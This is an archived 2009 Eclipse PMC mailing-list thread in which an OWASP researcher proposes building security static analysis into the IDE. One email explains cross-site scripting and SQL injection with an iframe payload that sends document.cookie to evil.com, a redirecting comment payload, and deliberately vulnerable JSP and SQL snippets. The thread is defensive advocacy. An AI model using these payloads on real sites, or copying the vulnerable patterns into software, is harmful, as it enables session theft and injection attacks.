Skip to main content

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index] [List Home]
RE: [eclipse-pmc] Project proposal on application security

I agree, sort of. J2EE applications definitely run into security problems more often because the web and it's threats are not very well understood - but security is not a property of just the web, or SQL. I just tried to pick a few examples that would be palatable and showed the need for static analysis.
 
My main interest is preventing obvious security problems with validators, strong static analysis, and any number of Eclipse's other language-agnostic IDE capabilities. Different languages would have different security rules, since the language APIs are abusable in different ways. The AST is generalized, right? That's just not just a "Java thing"?
 
In summary, I wouldn't mind if this was a "web" project, but we could gain a lot from having general static analysis capability. Consider a readLine() call on a socket - or someone using MessageDigest with MD2. Those things are not specific to the web. Our organization focuses on web stuff, but not exclusively and only because that's where attackers are right now.
 
Arshan

________________________________

From: eclipse-pmc-bounces@xxxxxxxxxxx on behalf of John Arthorne
Sent: Tue 8/4/2009 10:06 PM
To: eclipse-pmc@xxxxxxxxxxx
Subject: RE: [eclipse-pmc] Project proposal on application security



Arshan, from your description I'm not sure the Eclipse project is the right place for this. The project name is a bit misleading, but the Eclipse top-level project is concerned with generic language-agnostic IDE infrastructure, and with general Java SE development tools [1]. If there is a generic IDE aspect to the kind of security tools you have in mind, they may belong in the Eclipse top-level project, but your examples seem to be specific to web development, and/or SQL development. Tools for web and SQL programming are found in separate projects: Web Tools [2], and Data Tools [3]. 

John 

[1] http://eclipse.org/eclipse/ 
[2] http://eclipse.org/webtools/ 
[3] http://www.eclipse.org/datatools/ 




"Arshan Dabirsiaghi" <arshan.dabirsiaghi@xxxxxxxxxxxxxxxxxx> 
Sent by: eclipse-pmc-bounces@xxxxxxxxxxx 

08/04/2009 06:24 PM 
Please respond to
eclipse-pmc@xxxxxxxxxxx


To
<eclipse-pmc@xxxxxxxxxxx> 
cc
wayne.beaton@xxxxxxxxxxx 
Subject
RE: [eclipse-pmc] Project proposal on application security	

		




Wow this turned out to be a long email! I hope it's not overwhelming. My phone is always on, and I'm always willing to talk if there's any confusing points here. Anyway, I hope you brought coffee. 

First, let me talk explain why Equinox and Sword4J aren't exactly what's going to help average Joe Web Developer. 

The Equinox and Sword4J projects seem focused on J2SE code security and trusted libraries (among other things less relevant). In all of the security assessments I've done of web applications, these are not realistic threats for attackers. I don't need to control your server-side code, as an attacker, to abuse an application. It's usually quite possible to trick the developers' custom code in order to subvert the security of the application in one dimension or another. To show how unrealistic the problems that Sword4J and Equinox solve are, consider that most applications don't even run with a SecurityManager and I've yet to run into a customer who has regretted that fact (or even understood why it might be a problem). We have a long way to go until those are the projects that solve our biggest security concerns.

A summary of the greatest threats to web applications specifically is created by OWASP every couple of years [1] in the "Top 10" series. As you can see on the page I've referenced, this "standard" for realistic threats is used by many organizations, including government agencies, financial companies, and organizations from just about every vertical. Unfortunately, none of the issues cited in the OWASP Top 10 are solved by Equinox and Sword4J. I don't want to seem like I'm discrediting their work; trusted code is important to some formal assurance models, but we can help developers fix the vulnerabilities that they are creating right now, every day.

Let's take 2 of the 10 most prevalent and most easily exploitable vulnerabilities in applications today, cross-site scripting and SQL injection, and see how the Eclipse IDE can prevent them from ever happening. 

Cross-site scripting
My company's assessment data shows that over 90% of web applications are vulnerable to XSS, and often quite thoroughly. There is public data that shows the number somewhere around 70%, but that data is only generated by automated tools, and human analysis tends to turn up many more vulnerabilities than automated analysis.

A developer can introduce a cross-site scripting flaw (of which there are many variants) in a single line of code:

Your search for "<%= request.getParameter("searchValue") %>" produced <%=num%> results!

It also may take another form in JSP EL:

Your search for ${myStrutsSearchForm.searchValue} produced ${num} results!

These are two examples of where user-supplied code is reflected directly into an HTML response after a search. This pattern is actually all it takes to allow attackers to perform privilege escalation, phishing, keylogger installation and a host of other really bad things. Imagine you were logged into the site in question, and then visited my malicious page in another browser tab. My page then gives you this HTML:

<iframe src="http://victimsite.com/search.do?searchValue=<script>new Img().src='http://evil.com/'+document.cookie;</script>">

Seeing this HTML will cause your browser to issue a request from the victim's browser to the victimsite's search action. When the search action is building the view from the JSP, it will include the user-supplied parameter, which contains JavaScript that sends the user's cookies to an evil site, evil.com. All the attacker has to do is watch his web logs on evil.com and stick the victim's cookies from them into his own browser in order to become the victim user.

It's that easy! Now let's consider another, more brutal type of cross-site scripting, called persistent cross-site scripting. Imagine Alice runs a blog called AlicesBlog.com. Since most blogs allow comments either registered unregistered, Mallory posts a comment on Alice's latest post:

Hey Alice, I love your posts!! Keep up the good work!!<script>document.location='http://evil.com';</script>

Depending on how comments are handled, this could be very bad for Alice. Let's assume the worst case for brevity, and Alice does not moderate comments. When any user sees Alice's latest post, Mallory's comment will be delivered as part of the HTML response as generated by the JSP. Because Mallory's comment will be interpreted as code and not data, the user's browser will execute the malicious script and redirect the user to a page exclaiming that they hacked Alice's site. Alice then loses trust and credibility, because when a user navigates Alice's site, all they see is Mallory's apparent "defacement". In reality, persistent XSS is used to harvest mass amounts of accounts and perform other malicious activity, and a defacement is frankly preferable to the alternatives.

How can the IDE help? Well, it can help in easy ways and hard ways. At the very least, a simple Validator could be used to detect request parameters (or headers) being directly reflected into the response. Simple checks could be used to give the use an error when the following code is seen:

<%=request.getParameter("foo")%>

However, what about the following scenario?

<%
String param = request.getParameter("foo");
%>
...
<%= param + " results!!" %>

This example shows that in order to catch this problem generally we need to do data flow analysis (also called "taint tracking"), which is expensive computationally, even with all the AST functionality built into Eclipse. So, hard way = data flow analysis, easy way = simple Validators with grep.

SQL Injection
Consider the lifetime of the request parameter "foo" in the following set of snippets:

String untrusted_data = request.getParameter("foo");
...
updateAccount(untrusted_data);
...
public void updateAccount(String acctName) {
String sql = "UPDATE foo SET name='" + acctName + "' WHERE id=2";
Statement stmt = conn.creaStatement();
stmt.executeQuery(sql);
}

As one can see, the request parameter, an untrusted value, is eventually used to dynamically build a SQL statement. A user could enter in a value that altered the meaning of the SQL query in order to change all row values, alter other tables, gather data, and even destroy tables.

A similar data flow analysis would be required to catch this bug. Alternatively,the Statement.executeQuery() API could be flagged as "dangerous" like the old C gets() method, and would throw compilation errors unless annotated appropriately.

Since Eclipse manages can attach to runtime server processes (like Tomcat) we also use dynamic testing capabilities to discover these issues with more advanced but computationally less expensive techniques. For example, you could run your application locally within Eclipse+Tomcat, use AspectJ to taint the data at runtime, and then setup hooks at dangerous "sinks" like JspWriter output methods and Statement.executeQuery to detect if tainted data (also called dangerous "sources") ever make it into one of them.

If I had unlimited authority and developer time I could imagine lots of things to introduce into the IDE for application security. These are the questions we'd have to answer before moving on:

1. What vulnerabilities do we want to prevent from occurring?
2. How are we going to let the user know about the flaw, and how can they override it?

Once we know the answers to those two questions we can figure out what the best way to implement these checks could be. Again, sorry for the novel, but the problem of application security is one that the world needs to figure out quickly. We're building up a massive "security debt clock" and unlike our national debt, eventually we're going to have to pay for this one. You're in a uniquely powerful position to prevent a large percentage of vulnerabilities from occurring. It's easy to blame developers, but frankly they're never properly trained and security is the first thing to be thrown away on a regular budget. Attackers won't always have the easy options of buffer overflows and phishing - Gartner has showed that attacks are moving to the application layer [3] and it won't be long before the amount of incidents we already see [4] grows at an astonishing rate.

Thanks for listening!

Cheers,
Arshan

[1] http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[2] http://www.slideshare.net/jeremiahgrossman/whitehat-security-website-security-statistics-report-q109
[3] http://adtmag.com/articles/2006/06/01/application-security-comes-under-attack.aspx
[4] http://www.xiom.com/whid-2009

________________________________

From: eclipse-pmc-bounces@xxxxxxxxxxx on behalf of Jeff McAffer
Sent: Tue 8/4/2009 1:32 PM
To: eclipse-pmc@xxxxxxxxxxx
Cc: wayne.beaton@xxxxxxxxxxx
Subject: Re: [eclipse-pmc] Project proposal on application security


Arshan,  

This sounds very interesting. It sounds related at least in part to some of the work carried out in the Equinox security incubator.
http://www.eclipse.org/equinox/incubator/security/
There are several aspects of that work, some involving higher level notions (e.g., JAAS etc) and others static code analysis and Java2 permissions analysis using Sword4J 
http://www.alphaworks.ibm.com/tech/sword4j
I don't know the current status of the Sword4J work but it might be a good place to start looking.

In any event, it would be interesting to hear more about what you are proposing.

Jeff

Jeff McAffer | CTO | EclipseSource | +1 613 851 4644
jeff@xxxxxxxxxxxxxxxxx | http://eclipsesource.com <http://eclipsesource.com/> 




On 4-Aug-09, at 10:23 AM, Arshan Dabirsiaghi wrote:


                Eclipse PMC,

                My name is Arshan and I'd like Eclipse to enable developers to write more secure code. I'm working with the OWASP foundation and have elicited funds to accomplish the introduction of security into key points in the technology stack with security analysis of application server frameworks, vendor outreach programs, and more. I'm writing to ask you, however, about introducing security into your IDE (which happens to be my favorite IDE). 
                
                The IDE is a very effective place for security to go since it will necessarily catch problems earlier in the lifecycle than would
                security checks in other places. There a host of issues the JDT can easily detect while developers are writing code, including:
                
                    * Injection attacks (cross-site scripting, command injection, SQL injection, XPath/XML injection, etc.)
                    * Information leakage
                    * Cryptographic weakness
                    * ...and many more!
                
                While a 3rd party plugin could technically perform these checks, having them in the IDE would greatly legitimize security in developers' eyes, since most view security problems as theoretical or bothersome. And the momentum is growing; it's not just the banks that are taking application security seriously anymore - the world is starting recognize that applications are part of your security perimeter. In fact, we recently spoke at JavaOne about some specific security flaws the J2EE world is continually producing.
                 
                Other IDEs are getting into the game as well. Visual Studio invested in CAT.NET, a tool used to help MS developers find security problems and IBM recently bought Ounce, a static analysis tool for finding security flaws. I do penetration testing, code review and security research for a living. The problems are out there in staggering numbers, and its only getting worse. Frankly, developers will keep re-introducing problems as long as the IDE lets them.
                 
                I'm proposing we create an Eclipse sub-project or extend a piece of the existing Eclipse base to allow users to enable security guidance with customizable levels of interaction. As budget allows we are prepared to take on the necessary expenses for implementing these features, but the commitment to developing more secure code can only come from your organization.
                
                We are very flexible on the logistical details and are mostly eager to start a conversation around application security and Eclipse.
                
                Thanks for your time,
                
                Arshan Dabirsiaghi
                Director of R&D
                Aspect Security
                http://www.aspectsecurity.com <http://www.aspectsecurity.com/>  
                O: (301) 604-4882
                C: (443) 791-5355
                
                Project Lead
                Intrinsic Security Working Group
                Open Web Application Security Project (OWASP)
                http://owasp.org <http://owasp.org/>  

                _______________________________________________
                eclipse-pmc mailing list
                eclipse-pmc@xxxxxxxxxxx
                https://dev.eclipse.org/mailman/listinfo/eclipse-pmc
                


_______________________________________________
eclipse-pmc mailing list
eclipse-pmc@xxxxxxxxxxx
https://dev.eclipse.org/mailman/listinfo/eclipse-pmc


<<winmail.dat>>


Back to the top